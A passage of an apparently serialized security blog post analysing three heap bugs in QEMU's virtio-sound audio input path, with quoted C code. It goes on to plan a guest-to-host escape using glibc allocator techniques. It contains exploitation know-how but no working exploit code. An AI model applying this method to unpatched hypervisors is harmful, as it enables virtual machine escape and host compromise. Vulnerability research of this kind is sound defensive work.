AUD_read",{"type":21,"tag":153,"props":127512,"children":127513},{"style":160},[127514],{"type":26,"value":189},{"type":21,"tag":153,"props":127516,"children":127517},{"style":192},[127518],{"type":26,"value":38954},{"type":21,"tag":153,"props":127520,"children":127521},{"style":160},[127522],{"type":26,"value":2953},{"type":21,"tag":153,"props":127524,"children":127525},{"style":192},[127526],{"type":26,"value":127527},"voice",{"type":21,"tag":153,"props":127529,"children":127530},{"style":160},[127531],{"type":26,"value":355},{"type":21,"tag":153,"props":127533,"children":127534},{"style":192},[127535],{"type":26,"value":97795},{"type":21,"tag":153,"props":127537,"children":127538},{"style":160},[127539],{"type":26,"value":792},{"type":21,"tag":153,"props":127541,"children":127542},{"class":155,"line":3493},[127543,127548,127552,127556,127560,127565,127569,127573],{"type":21,"tag":153,"props":127544,"children":127545},{"style":192},[127546],{"type":26,"value":127547},"                        buffer",{"type":21,"tag":153,"props":127549,"children":127550},{"style":160},[127551],{"type":26,"value":2953},{"type":21,"tag":153,"props":127553,"children":127554},{"style":192},[127555],{"type":26,"value":195},{"type":21,"tag":153,"props":127557,"children":127558},{"style":198},[127559],{"type":26,"value":5527},{"type":21,"tag":153,"props":127561,"children":127562},{"style":192},[127563],{"type":26,"value":127564}," buffer",{"type":21,"tag":153,"props":127566,"children":127567},{"style":160},[127568],{"type":26,"value":2953},{"type":21,"tag":153,"props":127570,"children":127571},{"style":192},[127572],{"type":26,"value":126557},{"type":21,"tag":153,"props":127574,"children":127575},{"style":160},[127576],{"type":26,"value":792},{"type":21,"tag":153,"props":127578,"children":127579},{"class":155,"line":3509},[127580,127585,127590,127594,127598,127602,127606,127611,127615],{"type":21,"tag":153,"props":127581,"children":127582},{"style":181},[127583],{"type":26,"value":127584},"                        MIN",{"type":21,"tag":153,"props":127586,"children":127587},{"style":160},[127588],{"type":26,"value":127589},"(available, (",{"type":21,"tag":153,"props":127591,"children":127592},{"style":192},[127593],{"type":26,"value":38954},{"type":21,"tag":153,"props":127595,"children":127596},{"style":160},[127597],{"type":26,"value":2953},{"type":21,"tag":153,"props":127599,"children":127600},{"style":192},[127601],{"type":26,"value":100579},{"type":21,"tag":153,"props":127603,"children":127604},{"style":160},[127605],{"type":26,"value":355},{"type":21,"tag":153,"props":127607,"children":127608},{"style":192},[127609],{"type":26,"value":127610},"period_bytes",{"type":21,"tag":153,"props":127612,"children":127613},{"style":198},[127614],{"type":26,"value":53546},{"type":21,"tag":153,"props":127616,"children":127617},{"style":3050},[127618],{"type":26,"value":127619},"     // [3]\n",{"type":21,"tag":153,"props":127621,"children":127622},{"class":155,"line":3517},[127623,127628,127632,127636],{"type":21,"tag":153,"props":127624,"children":127625},{"style":192},[127626],{"type":26,"value":127627},"                                        buffer",{"type":21,"tag":153,"props":127629,"children":127630},{"style":160},[127631],{"type":26,"value":2953},{"type":21,"tag":153,"props":127633,"children":127634},{"style":192},[127635],{"type":26,"value":126557},{"type":21,"tag":153,"props":127637,"children":127638},{"style":160},[127639],{"type":26,"value":127640},")));\n",{"type":21,"tag":153,"props":127642,"children":127643},{"class":155,"line":3526},[127644,127648,127652,127656],{"type":21,"tag":153,"props":127645,"children":127646},{"style":1751},[127647],{"type":26,"value":105817},{"type":21,"tag":153,"props":127649,"children":127650},{"style":160},[127651],{"type":26,"value":5820},{"type":21,"tag":153,"props":127653,"children":127654},{"style":198},[127655],{"type":26,"value":23315},{"type":21,"tag":153,"props":127657,"children":127658},{"style":160},[127659],{"type":26,"value":127660},"size) {\n",{"type":21,"tag":153,"props":127662,"children":127663},{"class":155,"line":3607},[127664,127669,127673,127677],{"type":21,"tag":153,"props":127665,"children":127666},{"style":160},[127667],{"type":26,"value":127668},"                    available ",{"type":21,"tag":153,"props":127670,"children":127671},{"style":198},[127672],{"type":26,"value":2367},{"type":21,"tag":153,"props":127674,"children":127675},{"style":300},[127676],{"type":26,"value":5799},{"type":21,"tag":153,"props":127678,"children":127679},{"style":160},[127680],{"type":26,"value":1759},{"type":21,"tag":153,"props":127682,"children":127683},{"class":155,"line":3615},[127684,127688],{"type":21,"tag":153,"props":127685,"children":127686},{"style":1751},[127687],{"type":26,"value":127482},{"type":21,"tag":153,"props":127689,"children":127690},{"style":160},[127691],{"type":26,"value":1759},{"type":21,"tag":153,"props":127693,"children":127694},{"class":155,"line":3629},[127695],{"type":21,"tag":153,"props":127696,"children":127697},{"style":160},[127698],{"type":26,"value":73366},{"type":21,"tag":153,"props":127700,"children":127701},{"class":155,"line":26297},[127702,127706,127710,127714,127718],{"type":21,"tag":153,"props":127703,"children":127704},{"style":192},[127705],{"type":26,"value":127359},{"type":21,"tag":153,"props":127707,"children":127708},{"style":160},[127709],{"type":26,"value":2953},{"type":21,"tag":153,"props":127711,"children":127712},{"style":192},[127713],{"type":26,"value":126557},{"type":21,"tag":153,"props":127715,"children":127716},{"style":198},[127717],{"type":26,"value":17766},{"type":21,"tag":153,"props":127719,"children":127720},{"style":160},[127721],{"type":26,"value":126899},{"type":21,"tag":153,"props":127723,"children":127724},{"class":155,"line":26330},[127725,127730,127734],{"type":21,"tag":153,"props":127726,"children":127727},{"style":160},[127728],{"type":26,"value":127729},"                available ",{"type":21,"tag":153,"props":127731,"children":127732},{"style":198},[127733],{"type":26,"value":106282},{"type":21,"tag":153,"props":127735,"children":127736},{"style":160},[127737],{"type":26,"value":126899},{"type":21,"tag":153,"props":127739,"children":127740},{"class":155,"line":26338},[127741],{"type":21,"tag":153,"props":127742,"children":127743},{"style":160},[127744],{"type":26,"value":127745},"                [...]\n",{"type":21,"tag":153,"props":127747,"children":127748},{"class":155,"line":26346},[127749],{"type":21,"tag":153,"props":127750,"children":127751},{"style":160},[127752],{"type":26,"value":61177},{"type":21,"tag":153,"props":127754,"children":127755},{"class":155,"line":26355},[127756],{"type":21,"tag":153,"props":127757,"children":127758},{"style":160},[127759],{"type":26,"value":2765},{"type":21,"tag":153,"props":127761,"children":127762},{"class":155,"line":26431},[127763],{"type":21,"tag":153,"props":127764,"children":127765},{"style":160},[127766],{"type":26,"value":539},{"type":21,"tag":153,"props":127768,"children":127769},{"class":155,"line":26464},[127770],{"type":21,"tag":153,"props":127771,"children":127772},{"style":160},[127773],{"type":26,"value":548},{"type":21,"tag":22,"props":127775,"children":127776},{},[127777,127778,127783,127784,127790,127792,127798,127800,127805,127806,127811,127813,127818],{"type":26,"value":126679},{"type":21,"tag":78,"props":127779,"children":127781},{"className":127780},[],[127782],{"type":26,"value":126685},{"type":26,"value":1670},{"type":21,"tag":78,"props":127785,"children":127787},{"className":127786},[],[127788],{"type":26,"value":127789},"max_size",{"type":26,"value":127791}," is set to ",{"type":21,"tag":78,"props":127793,"children":127795},{"className":127794},[],[127796],{"type":26,"value":127797},"iov_size(in_sg, in_num)",{"type":26,"value":127799},". Both ",{"type":21,"tag":78,"props":127801,"children":127803},{"className":127802},[],[127804],{"type":26,"value":126410},{"type":26,"value":52},{"type":21,"tag":78,"props":127807,"children":127809},{"className":127808},[],[127810],{"type":26,"value":126427},{"type":26,"value":127812}," are the same guest-controlled fields from ",{"type":21,"tag":78,"props":127814,"children":127816},{"className":127815},[],[127817],{"type":26,"value":126062},{"type":26,"value":355},{"type":21,"tag":22,"props":127820,"children":127821},{},[127822,127824,127829,127831,127837,127839,127845,127847,127853],{"type":26,"value":127823},"Later, at ",{"type":21,"tag":78,"props":127825,"children":127827},{"className":127826},[],[127828],{"type":26,"value":126720},{"type":26,"value":127830},", the code checks whether ",{"type":21,"tag":78,"props":127832,"children":127834},{"className":127833},[],[127835],{"type":26,"value":127836},"buffer->size >= max_size",{"type":26,"value":127838},". In the RX path, ",{"type":21,"tag":78,"props":127840,"children":127842},{"className":127841},[],[127843],{"type":26,"value":127844},"buffer->size",{"type":26,"value":127846}," tracks how many bytes have been written into ",{"type":21,"tag":78,"props":127848,"children":127850},{"className":127849},[],[127851],{"type":26,"value":127852},"buffer->data",{"type":26,"value":127854},", not the size of the allocation itself. This check is therefore intended to stop reading once the buffer is full.",{"type":21,"tag":22,"props":127856,"children":127857},{},[127858,127860,127865,127867,127873,127875,127880,127882,127888],{"type":26,"value":127859},"However, this does not match the allocation logic in ",{"type":21,"tag":78,"props":127861,"children":127863},{"className":127862},[],[127864],{"type":26,"value":126062},{"type":26,"value":127866},", which used: ",{"type":21,"tag":78,"props":127868,"children":127870},{"className":127869},[],[127871],{"type":26,"value":127872},"size = iov_size(elem->in_sg, elem->in_num) - sizeof(virtio_snd_pcm_status);",{"type":26,"value":127874},". In other words, the allocation subtracts ",{"type":21,"tag":78,"props":127876,"children":127878},{"className":127877},[],[127879],{"type":26,"value":126786},{"type":26,"value":127881},", but the later bound in ",{"type":21,"tag":78,"props":127883,"children":127885},{"className":127884},[],[127886],{"type":26,"value":127887},"virtio_snd_pcm_in_cb",{"type":26,"value":127889}," does not. That mismatch gives us a second bug: an 8-byte OOB write.",{"type":21,"tag":22,"props":127891,"children":127892},{},[127893,127895,127900,127902,127908,127910,127916,127918,127923,127925,127931,127933,127939,127941,127946,127948,127953],{"type":26,"value":127894},"Finally, at ",{"type":21,"tag":78,"props":127896,"children":127898},{"className":127897},[],[127899],{"type":26,"value":126744},{"type":26,"value":127901},", the code calls ",{"type":21,"tag":78,"props":127903,"children":127905},{"className":127904},[],[127906],{"type":26,"value":127907},"AUD_read",{"type":26,"value":127909}," with the following limit:\n",{"type":21,"tag":78,"props":127911,"children":127913},{"className":127912},[],[127914],{"type":26,"value":127915},"MIN(available, stream->params.period_bytes - buffer->size)",{"type":26,"value":127917},". Notice how this bound does not take ",{"type":21,"tag":78,"props":127919,"children":127921},{"className":127920},[],[127922],{"type":26,"value":127789},{"type":26,"value":127924}," into account at all. That means if ",{"type":21,"tag":78,"props":127926,"children":127928},{"className":127927},[],[127929],{"type":26,"value":127930},"available",{"type":26,"value":127932}," is larger than the allocated buffer, and ",{"type":21,"tag":78,"props":127934,"children":127936},{"className":127935},[],[127937],{"type":26,"value":127938},"stream->params.period_bytes",{"type":26,"value":127940}," is also larger than the allocated buffer, ",{"type":21,"tag":78,"props":127942,"children":127944},{"className":127943},[],[127945],{"type":26,"value":127907},{"type":26,"value":127947}," will write past the end of ",{"type":21,"tag":78,"props":127949,"children":127951},{"className":127950},[],[127952],{"type":26,"value":127852},{"type":26,"value":127954}," - the third, and final, bug we found.",{"type":21,"tag":22,"props":127956,"children":127957},{},[127958,127960,127965,127967,127973],{"type":26,"value":127959},"Looking further at the code, we can see that ",{"type":21,"tag":78,"props":127961,"children":127963},{"className":127962},[],[127964],{"type":26,"value":127938},{"type":26,"value":127966}," is fully guest-controlled by issuing a ",{"type":21,"tag":78,"props":127968,"children":127970},{"className":127969},[],[127971],{"type":26,"value":127972},"VIRTIO_SND_R_PCM_SET_PARAMS",{"type":26,"value":127974}," request:",{"type":21,"tag":143,"props":127976,"children":127978},{"code":127977,"language":5896,"meta":7,"className":19212,"style":7},"static\nuint32_t virtio_snd_set_pcm_params(VirtIOSound *s,\n                                   uint32_t stream_id,\n                                   virtio_snd_pcm_set_params *params)\n{\n    virtio_snd_pcm_set_params *st_params;\n\n    [...]\n\n    st_params = virtio_snd_pcm_get_params(s, stream_id);\n\n    [...]\n\n    st_params->buffer_bytes = le32_to_cpu(params->buffer_bytes);\n    st_params->period_bytes = le32_to_cpu(params->period_bytes);\n    st_params->features = le32_to_cpu(params->features);\n    /* the following are uint8_t, so there's no need to bswap the values. */\n    st_params->channels = params->channels;\n    st_params->format = params->format;\n    st_params->rate = params->rate;\n\n    return cpu_to_le32(VIRTIO_SND_S_OK);\n}\n",[127979],{"type":21,"tag":78,"props":127980,"children":127981},{"__ignoreMap":7},[127982,127990,128019,128036,128056,128063,128080,128087,128094,128101,128123,128130,128137,128144,128190,128233,128277,128285,128322,128358,128394,128401,128418],{"type":21,"tag":153,"props":127983,"children":127984},{"class":155,"line":156},[127985],{"type":21,"tag":153,"props":127986,"children":127987},{"style":170},[127988],{"type":26,"value":127989},"static\n",{"type":21,"tag":153,"props":127991,"children":127992},{"class":155,"line":166},[127993,127997,128002,128007,128011,128015],{"type":21,"tag":153,"props":127994,"children":127995},{"style":170},[127996],{"type":26,"value":60225},{"type":21,"tag":153,"props":127998,"children":127999},{"style":181},[128000],{"type":26,"value":128001}," virtio_snd_set_pcm_params",{"type":21,"tag":153,"props":128003,"children":128004},{"style":160},[128005],{"type":26,"value":128006},"(VirtIOSound ",{"type":21,"tag":153,"props":128008,"children":128009},{"style":198},[128010],{"type":26,"value":313},{"type":21,"tag":153,"props":128012,"children":128013},{"style":192},[128014],{"type":26,"value":13372},{"type":21,"tag":153,"props":128016,"children":128017},{"style":160},[128018],{"type":26,"value":792},{"type":21,"tag":153,"props":128020,"children":128021},{"class":155,"line":225},[128022,128027,128032],{"type":21,"tag":153,"props":128023,"children":128024},{"style":170},[128025],{"type":26,"value":128026},"                                   uint32_t",{"type":21,"tag":153,"props":128028,"children":128029},{"style":192},[128030],{"type":26,"value":128031}," stream_id",{"type":21,"tag":153,"props":128033,"children":128034},{"style":160},[128035],{"type":26,"value":792},{"type":21,"tag":153,"props":128037,"children":128038},{"class":155,"line":239},[128039,128044,128048,128052],{"type":21,"tag":153,"props":128040,"children":128041},{"style":160},[128042],{"type":26,"value":128043},"                                   virtio_snd_pcm_set_params ",{"type":21,"tag":153,"props":128045,"children":128046},{"style":198},[128047],{"type":26,"value":313},{"type":21,"tag":153,"props":128049,"children":128050},{"style":192},[128051],{"type":26,"value":100579},{"type":21,"tag":153,"props":128053,"children":128054},{"style":160},[128055],{"type":26,"value":5909},{"type":21,"tag":153,"props":128057,"children":128058},{"class":155,"line":382},[128059],{"type":21,"tag":153,"props":128060,"children":128061},{"style":160},[128062],{"type":26,"value":13601},{"type":21,"tag":153,"props":128064,"children":128065},{"class":155,"line":501},[128066,128071,128075],{"type":21,"tag":153,"props":128067,"children":128068},{"style":160},[128069],{"type":26,"value":128070},"    virtio_snd_pcm_set_params ",{"type":21,"tag":153,"props":128072,"children":128073},{"style":198},[128074],{"type":26,"value":313},{"type":21,"tag":153,"props":128076,"children":128077},{"style":160},[128078],{"type":26,"value":128079},"st_params;\n",{"type":21,"tag":153,"props":128081,"children":128082},{"class":155,"line":533},[128083],{"type":21,"tag":153,"props":128084,"children":128085},{"emptyLinePlaceholder":16},[128086],{"type":26,"value":759},{"type":21,"tag":153,"props":128088,"children":128089},{"class":155,"line":542},[128090],{"type":21,"tag":153,"props":128091,"children":128092},{"style":160},[128093],{"type":26,"value":107098},{"type":21,"tag":153,"props":128095,"children":128096},{"class":155,"line":762},[128097],{"type":21,"tag":153,"props":128098,"children":128099},{"emptyLinePlaceholder":16},[128100],{"type":26,"value":759},{"type":21,"tag":153,"props":128102,"children":128103},{"class":155,"line":776},[128104,128109,128113,128118],{"type":21,"tag":153,"props":128105,"children":128106},{"style":160},[128107],{"type":26,"value":128108},"    st_params ",{"type":21,"tag":153,"props":128110,"children":128111},{"style":198},[128112],{"type":26,"value":2367},{"type":21,"tag":153,"props":128114,"children":128115},{"style":181},[128116],{"type":26,"value":128117}," virtio_snd_pcm_get_params",{"type":21,"tag":153,"props":128119,"children":128120},{"style":160},[128121],{"type":26,"value":128122},"(s, stream_id);\n",{"type":21,"tag":153,"props":128124,"children":128125},{"class":155,"line":795},[128126],{"type":21,"tag":153,"props":128127,"children":128128},{"emptyLinePlaceholder":16},[128129],{"type":26,"value":759},{"type":21,"tag":153,"props":128131,"children":128132},{"class":155,"line":808},[128133],{"type":21,"tag":153,"props":128134,"children":128135},{"style":160},[128136],{"type":26,"value":107098},{"type":21,"tag":153,"props":128138,"children":128139},{"class":155,"line":820},[128140],{"type":21,"tag":153,"props":128141,"children":128142},{"emptyLinePlaceholder":16},[128143],{"type":26,"value":759},{"type":21,"tag":153,"props":128145,"children":128146},{"class":155,"line":842},[128147,128152,128156,128161,128165,128170,128174,128178,128182,128186],{"type":21,"tag":153,"props":128148,"children":128149},{"style":192},[128150],{"type":26,"value":128151},"    st_params",{"type":21,"tag":153,"props":128153,"children":128154},{"style":160},[128155],{"type":26,"value":2953},{"type":21,"tag":153,"props":128157,"children":128158},{"style":192},[128159],{"type":26,"value":128160},"buffer_bytes",{"type":21,"tag":153,"props":128162,"children":128163},{"style":198},[128164],{"type":26,"value":255},{"type":21,"tag":153,"props":128166,"children":128167},{"style":181},[128168],{"type":26,"value":128169}," le32_to_cpu",{"type":21,"tag":153,"props":128171,"children":128172},{"style":160},[128173],{"type":26,"value":189},{"type":21,"tag":153,"props":128175,"children":128176},{"style":192},[128177],{"type":26,"value":100579},{"type":21,"tag":153,"props":128179,"children":128180},{"style":160},[128181],{"type":26,"value":2953},{"type":21,"tag":153,"props":128183,"children":128184},{"style":192},[128185],{"type":26,"value":128160},{"type":21,"tag":153,"props":128187,"children":128188},{"style":160},[128189],{"type":26,"value":530},{"type":21,"tag":153,"props":128191,"children":128192},{"class":155,"line":3204},[128193,128197,128201,128205,128209,128213,128217,128221,128225,128229],{"type":21,"tag":153,"props":128194,"children":128195},{"style":192},[128196],{"type":26,"value":128151},{"type":21,"tag":153,"props":128198,"children":128199},{"style":160},[128200],{"type":26,"value":2953},{"type":21,"tag":153,"props":128202,"children":128203},{"style":192},[128204],{"type":26,"value":127610},{"type":21,"tag":153,"props":128206,"children":128207},{"style":198},[128208],{"type":26,"value":255},{"type":21,"tag":153,"props":128210,"children":128211},{"style":181},[128212],{"type":26,"value":128169},{"type":21,"tag":153,"props":128214,"children":128215},{"style":160},[128216],{"type":26,"value":189},{"type":21,"tag":153,"props":128218,"children":128219},{"style":192},[128220],{"type":26,"value":100579},{"type":21,"tag":153,"props":128222,"children":128223},{"style":160},[128224],{"type":26,"value":2953},{"type":21,"tag":153,"props":128226,"children":128227},{"style":192},[128228],{"type":26,"value":127610},{"type":21,"tag":153,"props":128230,"children":128231},{"style":160},[128232],{"type":26,"value":530},{"type":21,"tag":153,"props":128234,"children":128235},{"class":155,"line":3230},[128236,128240,128244,128249,128253,128257,128261,128265,128269,128273],{"type":21,"tag":153,"props":128237,"children":128238},{"style":192},[128239],{"type":26,"value":128151},{"type":21,"tag":153,"props":128241,"children":128242},{"style":160},[128243],{"type":26,"value":2953},{"type":21,"tag":153,"props":128245,"children":128246},{"style":192},[128247],{"type":26,"value":128248},"features",{"type":21,"tag":153,"props":128250,"children":128251},{"style":198},[128252],{"type":26,"value":255},{"type":21,"tag":153,"props":128254,"children":128255},{"style":181},[128256],{"type":26,"value":128169},{"type":21,"tag":153,"props":128258,"children":128259},{"style":160},[128260],{"type":26,"value":189},{"type":21,"tag":153,"props":128262,"children":128263},{"style":192},[128264],{"type":26,"value":100579},{"type":21,"tag":153,"props":128266,"children":128267},{"style":160},[128268],{"type":26,"value":2953},{"type":21,"tag":153,"props":128270,"children":128271},{"style":192},[128272],{"type":26,"value":128248},{"type":21,"tag":153,"props":128274,"children":128275},{"style":160},[128276],{"type":26,"value":530},{"type":21,"tag":153,"props":128278,"children":128279},{"class":155,"line":3239},[128280],{"type":21,"tag":153,"props":128281,"children":128282},{"style":3050},[128283],{"type":26,"value":128284},"    /* the following are uint8_t, so there's no need to bswap the values. */\n",{"type":21,"tag":153,"props":128286,"children":128287},{"class":155,"line":3253},[128288,128292,128296,128301,128305,128310,128314,128318],{"type":21,"tag":153,"props":128289,"children":128290},{"style":192},[128291],{"type":26,"value":128151},{"type":21,"tag":153,"props":128293,"children":128294},{"style":160},[128295],{"type":26,"value":2953},{"type":21,"tag":153,"props":128297,"children":128298},{"style":192},[128299],{"type":26,"value":128300},"channels",{"type":21,"tag":153,"props":128302,"children":128303},{"style":198},[128304],{"type":26,"value":255},{"type":21,"tag":153,"props":128306,"children":128307},{"style":192},[128308],{"type":26,"value":128309}," params",{"type":21,"tag":153,"props":128311,"children":128312},{"style":160},[128313],{"type":26,"value":2953},{"type":21,"tag":153,"props":128315,"children":128316},{"style":192},[128317],{"type":26,"value":128300},{"type":21,"tag":153,"props":128319,"children":128320},{"style":160},[128321],{"type":26,"value":1759},{"type":21,"tag":153,"props":128323,"children":128324},{"class":155,"line":3301},[128325,128329,128333,128338,128342,128346,128350,128354],{"type":21,"tag":153,"props":128326,"children":128327},{"style":192},[128328],{"type":26,"value":128151},{"type":21,"tag":153,"props":128330,"children":128331},{"style":160},[128332],{"type":26,"value":2953},{"type":21,"tag":153,"props":128334,"children":128335},{"style":192},[128336],{"type":26,"value":128337},"format",{"type":21,"tag":153,"props":128339,"children":128340},{"style":198},[128341],{"type":26,"value":255},{"type":21,"tag":153,"props":128343,"children":128344},{"style":192},[128345],{"type":26,"value":128309},{"type":21,"tag":153,"props":128347,"children":128348},{"style":160},[128349],{"type":26,"value":2953},{"type":21,"tag":153,"props":128351,"children":128352},{"style":192},[128353],{"type":26,"value":128337},{"type":21,"tag":153,"props":128355,"children":128356},{"style":160},[128357],{"type":26,"value":1759},{"type":21,"tag":153,"props":128359,"children":128360},{"class":155,"line":3346},[128361,128365,128369,128374,128378,128382,128386,128390],{"type":21,"tag":153,"props":128362,"children":128363},{"style":192},[128364],{"type":26,"value":128151},{"type":21,"tag":153,"props":128366,"children":128367},{"style":160},[128368],{"type":26,"value":2953},{"type":21,"tag":153,"props":128370,"children":128371},{"style":192},[128372],{"type":26,"value":128373},"rate",{"type":21,"tag":153,"props":128375,"children":128376},{"style":198},[128377],{"type":26,"value":255},{"type":21,"tag":153,"props":128379,"children":128380},{"style":192},[128381],{"type":26,"value":128309},{"type":21,"tag":153,"props":128383,"children":128384},{"style":160},[128385],{"type":26,"value":2953},{"type":21,"tag":153,"props":128387,"children":128388},{"style":192},[128389],{"type":26,"value":128373},{"type":21,"tag":153,"props":128391,"children":128392},{"style":160},[128393],{"type":26,"value":1759},{"type":21,"tag":153,"props":128395,"children":128396},{"class":155,"line":3355},[128397],{"type":21,"tag":153,"props":128398,"children":128399},{"emptyLinePlaceholder":16},[128400],{"type":26,"value":759},{"type":21,"tag":153,"props":128402,"children":128403},{"class":155,"line":3364},[128404,128408,128413],{"type":21,"tag":153,"props":128405,"children":128406},{"style":1751},[128407],{"type":26,"value":19687},{"type":21,"tag":153,"props":128409,"children":128410},{"style":181},[128411],{"type":26,"value":128412}," cpu_to_le32",{"type":21,"tag":153,"props":128414,"children":128415},{"style":160},[128416],{"type":26,"value":128417},"(VIRTIO_SND_S_OK);\n",{"type":21,"tag":153,"props":128419,"children":128420},{"class":155,"line":3376},[128421],{"type":21,"tag":153,"props":128422,"children":128423},{"style":160},[128424],{"type":26,"value":548},{"type":21,"tag":22,"props":128426,"children":128427},{},[128428,128430,128435,128437,128443,128445,128450,128452,128457,128459,128465,128466,128471],{"type":26,"value":128429},"Among the guest-controlled PCM parameters, format matters later for exploit reliability. For 8-bit PCM, QEMU accepts both unsigned (",{"type":21,"tag":78,"props":128431,"children":128433},{"className":128432},[],[128434],{"type":26,"value":217},{"type":26,"value":128436},") and signed (",{"type":21,"tag":78,"props":128438,"children":128440},{"className":128439},[],[128441],{"type":26,"value":128442},"s8",{"type":26,"value":128444},") samples. They encode the same waveform differently - silence is ",{"type":21,"tag":78,"props":128446,"children":128448},{"className":128447},[],[128449],{"type":26,"value":32134},{"type":26,"value":128451}," in ",{"type":21,"tag":78,"props":128453,"children":128455},{"className":128454},[],[128456],{"type":26,"value":217},{"type":26,"value":128458},", but ",{"type":21,"tag":78,"props":128460,"children":128462},{"className":128461},[],[128463],{"type":26,"value":128464},"0x00",{"type":26,"value":128451},{"type":21,"tag":78,"props":128467,"children":128469},{"className":128468},[],[128470],{"type":26,"value":128442},{"type":26,"value":355},{"type":21,"tag":21491,"props":128473,"children":128474},{},[],{"type":21,"tag":22,"props":128476,"children":128477},{},[128478],{"type":26,"value":128479},"To summarize:",{"type":21,"tag":126,"props":128481,"children":128482},{},[128483,128502,128520],{"type":21,"tag":91,"props":128484,"children":128485},{},[128486,128488,128493,128495,128500],{"type":26,"value":128487},"an integer underflow in the ",{"type":21,"tag":78,"props":128489,"children":128491},{"className":128490},[],[128492],{"type":26,"value":126557},{"type":26,"value":128494}," calculation in ",{"type":21,"tag":78,"props":128496,"children":128498},{"className":128497},[],[128499],{"type":26,"value":126062},{"type":26,"value":128501},", resulting in an 8-byte (or less) under-allocation",{"type":21,"tag":91,"props":128503,"children":128504},{},[128505,128507,128512,128513,128518],{"type":26,"value":128506},"a mismatch in the ",{"type":21,"tag":78,"props":128508,"children":128510},{"className":128509},[],[128511],{"type":26,"value":127789},{"type":26,"value":128494},{"type":21,"tag":78,"props":128514,"children":128516},{"className":128515},[],[128517],{"type":26,"value":127887},{"type":26,"value":128519},", leading to at most 8-byte OOB write",{"type":21,"tag":91,"props":128521,"children":128522},{},[128523,128525,128530,128532,128537,128539,128544],{"type":26,"value":128524},"a missing bound in the ",{"type":21,"tag":78,"props":128526,"children":128528},{"className":128527},[],[128529],{"type":26,"value":126557},{"type":26,"value":128531}," passed to ",{"type":21,"tag":78,"props":128533,"children":128535},{"className":128534},[],[128536],{"type":26,"value":127907},{"type":26,"value":128538},", which does not take the actual buffer allocation size into account and can therefore lead to an OOB write of an arbitrary length, up to ",{"type":21,"tag":78,"props":128540,"children":128542},{"className":128541},[],[128543],{"type":26,"value":127930},{"type":26,"value":84586},{"type":21,"tag":22,"props":128546,"children":128547},{},[128548,128550,128555,128557,128562,128564,128570],{"type":26,"value":128549},"In our exploit, we focus on the third bug because it provides the largest overflow and therefore the most useful primitive. In practice, the actual write is still bounded by ",{"type":21,"tag":78,"props":128551,"children":128553},{"className":128552},[],[128554],{"type":26,"value":127930},{"type":26,"value":128556},", but in our setup with the ALSA backend, ",{"type":21,"tag":78,"props":128558,"children":128560},{"className":128559},[],[128561],{"type":26,"value":127930},{"type":26,"value":128563}," was consistently around ",{"type":21,"tag":78,"props":128565,"children":128567},{"className":128566},[],[128568],{"type":26,"value":128569},"4096",{"type":26,"value":355},{"type":21,"tag":22,"props":128572,"children":128573},{},[128574,128576,128583,128584,128591],{"type":26,"value":128575},"It is also worth noting that the timing here was particularly unlucky - these bugs had been present in QEMU for over two years, but they were fixed (",{"type":21,"tag":29,"props":128577,"children":128580},{"href":128578,"rel":128579},"https://github.com/qemu/qemu/commit/bcb53328aa70023f1405fade4e253e7f77567261",[33],[128581],{"type":26,"value":128582},"commit 1",{"type":26,"value":1670},{"type":21,"tag":29,"props":128585,"children":128588},{"href":128586,"rel":128587},"https://github.com/qemu/qemu/commit/7994203bb1b83a6604f3ab00fe9598909bb66164",[33],[128589],{"type":26,"value":128590},"commit 2",{"type":26,"value":128592},") in the very same week that we independently found them while manually reviewing the code.",{"type":21,"tag":66,"props":128594,"children":128595},{"id":102405},[128596],{"type":26,"value":102408},{"type":21,"tag":22,"props":128598,"children":128599},{},[128600],{"type":26,"value":128601},"Each of these bugs is in the audio input path. Since that audio input comes from the host side, the bytes written out of bounds are not controlled by the guest and, from the exploit perspective, can be treated as effectively random.",{"type":21,"tag":22,"props":128603,"children":128604},{},[128605],{"type":26,"value":128606},"This gives an interesting challenge: how do you exploit an out-of-bounds write when you do not control the data being written?",{"type":21,"tag":114,"props":128608,"children":128610},{"id":128609},"achieving-a-better-primitive",[128611],{"type":26,"value":128612},"Achieving a Better Primitive",{"type":21,"tag":22,"props":128614,"children":128615},{},[128616],{"type":26,"value":128617},"The first idea that comes to mind is to target some kind of size or offset field. The goal is to make that field as small as possible initially, trigger the overflow, and rely on the corrupted bytes being larger than the original value. Such scenario would transform a weak primitive into a much more useful one, giving us a better starting point for the rest of the exploit.",{"type":21,"tag":22,"props":128619,"children":128620},{},[128621],{"type":26,"value":128622},"However, after searching QEMU for such objects we didn't find a suitable target. The main problem was that, in most cases, the field we wanted to corrupt was preceded by one or more pointers. That would have been acceptable if those pointers were unused, but in every candidate object we examined they were still live. As a result, the heap overflow would corrupt them with effectively random bytes, causing an invalid dereference and crashing QEMU before we could achieve our desired guest-to-host escape.",{"type":21,"tag":22,"props":128624,"children":128625},{},[128626],{"type":26,"value":128627},"At that point, we turned our attention to the glibc allocator. This is usually not the first choice in such targets - allocator techniques are often more version-specific and less portable than program-specific primitives (for example, type confusion on known object layouts). So allocator attacks are often a fallback once object-level paths are exhausted.",{"type":21,"tag":21591,"props":128629,"children":128631},{"id":128630},"glibc-allocator",[128632],{"type":26,"value":128633},"Glibc Allocator",{"type":21,"tag":22,"props":128635,"children":128636},{},[128637,128639,128646],{"type":26,"value":128638},"The glibc allocator has already been studied and documented extensively, so we will only cover the basics relevant to this exploit. A good resource for both current and older attack techniques is ",{"type":21,"tag":29,"props":128640,"children":128643},{"href":128641,"rel":128642},"https://github.com/shellphish/how2heap",[33],[128644],{"type":26,"value":128645},"how2heap",{"type":26,"value":355},{"type":21,"tag":40039,"props":128648,"children":128650},{"id":128649},"chunk-layout-and-bins",[128651],{"type":26,"value":128652},"Chunk Layout and Bins",{"type":21,"tag":22,"props":128654,"children":128655},{},[128656],{"type":26,"value":128657},"A chunk looks like this:",{"type":21,"tag":143,"props":128659,"children":128661},{"code":128660},"       +0x0          +0x8\n      +-------------+-------------+\n      |  prev_size  |    size     |\n      +---------------------------+\n+0x10 |  41 41 41 41 41 41 41 41  |\n      |                           |\n      |  41 41 41 41 41 41 41 41  |\n      |                           |\n      |           . . .           |\n",[128662],{"type":21,"tag":78,"props":128663,"children":128664},{"__ignoreMap":7},[128665],{"type":26,"value":128660},{"type":21,"tag":22,"props":128667,"children":128668},{},[128669,128671,128677,128679,128685,128686,128691,128692,128698,128700,128705,128707,128712,128714,128720,128721,128727,128729,128735],{"type":26,"value":128670},"The first 16 bytes form the chunk header. It consists of the ",{"type":21,"tag":78,"props":128672,"children":128674},{"className":128673},[],[128675],{"type":26,"value":128676},"prev_size",{"type":26,"value":128678}," field at offset 